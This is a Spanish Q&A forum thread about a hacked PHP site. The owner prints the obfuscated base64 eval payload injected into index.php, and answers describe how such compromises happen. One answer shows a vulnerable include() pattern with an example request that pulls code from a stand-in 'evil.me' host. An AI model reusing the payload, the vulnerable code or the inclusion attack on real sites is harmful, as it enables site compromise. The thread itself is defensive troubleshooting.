2010-05-12 7 views
5

acabo de revisar mi sitio de repente me salta a este sitio:PHP: me han pirateado

xxxp://www1.re*******3.net/?p=p52dcWpkbG6HjsbIo216h3de0KCfaFbVoKDb2YmHWJjOxaCbkXp%2FWqyopHaYXsiaY2eRaGNpnFPVpJHaotahiaJ0WKrO1c%2Beb1qfnaSZdV%2FXlsndblaWpG9plmGQYWCcW5eakWppWKjKx6ChpqipbmdjpKjEjtDOoKOhY56n1pLWn1%2FZodXN02BdpqmikpVwZWpxZGxpcV%2FVoJajYmJkZ2hwlGGXaVbJkKC0q1eum5qimZxx 

descubrí que en la primera línea de mi archivo index.php, que se ve así:

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHR/* 

Snip 

*/DkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?> 

¿Cómo puedo detener esto? ¡Gracias!

ACTUALIZACIÓN: ¿Qué tipo de ataque es este? es esto realmente xss? Nadie sabe realmente sobre mi contraseña ftp.

+7

Esto no es XSS per se. Alguien que inyecta código en sus archivos fuente significa que su servidor fue comprometido. ¿Has intentado mirar los registros FTP para ver si alguien ha forzado tu contraseña? – Hober

+0

Esto no es XSS (Cross Site Scripting) en absoluto. – Anonymoose

+0

Si está alojando en MediaTemple, algo similar me ha pasado dos veces ... al menos mientras estaba alojado en el (gs). Creo que lo que estoy diciendo es que revisen el blog de su empresa de hosting o algo así. – bschaeffer

Respuesta

10

Alguien tiene acceso (no a través de xss o sql-injection) a sus archivos php en su servidor. Si se trata de un servidor compartido, es muy posible que todo el servidor se haya visto comprometido de alguna manera. Puedes eliminar esa basura en la parte superior de tus archivos php y hacerlos de solo lectura. Sin embargo, como supongo que se trata de un servidor compartido, si su servidor web no soluciona la falla de seguridad que permitió esto en primer lugar, puede que no sea suficiente. Hable con su proveedor de alojamiento (personalmente me gustaría simplemente mover a un nuevo proveedor, esto es una buena señal de que estos chicos no tienen remedio.)

+0

Sí, estoy en un servidor compartido. –

0

Simplemente elimine esta línea y aplique un parche a su servidor. Lo más probable es que estés infectado por la puerta trasera.

1

¿Eliminar la línea de código?

Este es un ataque a su servidor que permitió al atacante modificar los archivos del servidor. Esto puede hacerse a través de permisos de carpeta (tener un permiso 777 es malo), o si permite que sus scripts alteren otros scripts en su servidor.

Es posible que desee revisar los permisos de su carpeta.

+0

Sí, lo tengo eliminado. Hasta ahora mi sitio funciona correctamente. Pero tengo la sensación de que habrá otro ataque. –

+1

@jun: tienes garantizado otro ataque. Si no has taponado el agujero, entonces tienes la garantía de que lo volverán a hacer. – NotMe

0

La mayoría de las personas detienen los ataques de inyección de código quitando primero el código viral y luego haciendo que todos los archivos PHP solo se lean mientras buscan el exploit que el ataque usó para escribir en sus archivos PHP.

+1

¿Qué demonios hace que los archivos solo se lean? Si * usted * tiene los permisos necesarios para hacer que solo sean leídos, y * su * cuenta se vio comprometida, entonces cualquier cosa que tenga acceso a los archivos puede * eliminar * el atributo de solo lectura. –

+0

@Geor Asumí que PHP no se ejecuta bajo la misma cuenta que el usuario normal. Por ejemplo, la mayoría de las veces hay un usuario de httpd muy limitado que es utilizado por PHP y luego usted (usuario de FTP/regular) retiene la propiedad de los archivos PHP y puede marcarlos de manera que no sean – Earlz

+0

. Por cierto, así es como ** debe ** estar configurado para seguridad – Earlz

2

proteger su servidor, tratar en contacto con las personas pertinentes, el servidor parece tener sido comprometido

1

¿Qué tipo de ataque es este? es esto realmente xss? Nadie sabe realmente sobre mi contraseña ftp.

Existen varios vectores para este tipo de ataque:

vulnerabilidad del software. Esto podría incluir PHP, MySQL, Apache obsoleto o cualquier otra cosa que se ejecute. El servidor completo puede haber sido comprimised.

Vulnerabilidad de scripting. Una vulnerabilidad, generalmente con una aplicación PHP ampliamente utilizada, utilizada para cargar y ejecutar comandos. Uno común es en el software de galería de fotos engañado para cargar archivos php renombrados, lo que permite renombrar la extensión en el servidor desde jpg al php original y luego ejecutarla, permitiendo cualquier acción permitida por los scripts (generalmente un administrador de PHP)/root kit se carga de esta manera dando al atacante la capacidad de cargar y alterar archivos libremente)

FTP ataque de fuerza bruta. En general, su servidor debe estar configurado para poder bloquear direcciones IP que hacen intentos de inicio de sesión fallidos repetidos.

Infección de usuario.Un vector de ataque relativamente nuevo, un troyano (la mayoría usa vulnerabilidades en el plugin Adobe PDF Reader debido a que esto funciona en Firefox pero cualquier exploit de navegador que permita la ejecución de código funcionará) para instalar un troyano en la computadora de un usuario que pasa. El troyano busca en la computadora de los usuarios programas FTP comunes como Filezilla y Dreamweaver, en busca de contraseñas guardadas. Una vez que localiza un inicio de sesión FTP, accede a ese sitio desde la computadora del usuario e intenta modificar los tipos de archivos conocidos (htm, php, asp, etc.), insertando su propio código (la mayoría busca la etiqueta HEAD e inserta justo después) - el mismo código que infectó originalmente la computadora de los usuarios. Una vez hecho, puede funcionar como cualquier otro troyano (instalar adware u ocultarse y hacer que la computadora de los usuarios forme parte de una botnet).

1

Tuvimos el mismo problema. Realmente nos avergonzamos de admitirlo, pero nos pasó a nosotros porque los usuarios podían subir archivos con cualquier extensión y ejecutarlos en el servidor. Entonces, algún usuario había subido el script php y lo había ejecutado. :-)

Hemos resuelto el problema estableciendo filtros y atributos de solo lectura en los archivos cargados.

3

Si tiene open_wrappers = encendido, y que está utilizando algo como esto en algún lugar en el sitio

http://domain.tld/index.php?page=somenameofpage 

En algún lugar de index.php (o archivos incluidos)

<?php 

include($page . '.php'); 

?> 

Entonces alguien podría poner en peligro su sitio solicitando

http://domain.tld/index.php?page=http://evil.me/evilcode.txt? 

(el valor de la página debe ser urlNoldado a wor k - soy flojo, así que no lo urlencode. Tenga en cuenta? al final ..

Lo que está ahora en realidad es incluyes

http://evil.me/evilcode.txt?.php 

- evilcode.txt -

<?php 

echo 'some evil code huh!'; 

Esta vil ejecutar el código php en evilcode.txt

Una solución rápida sería agregar a. a la trayectoria de la incluir - como esto

include('./' . $page . '.php'); 

he aprendido de la manera difícil .. convertí en administrador de un sitio existente que utiliza este método para la navegación. Me tomó meses descubrirlo, aunque el hacker no reemplazó ningún código, solo agregó archivos en algunas subcarpetas. Y sí, agregó algunas puertas traseras en un archivo .js y .css que los usuarios de AntiVir recogieron.

Cuestiones relacionadas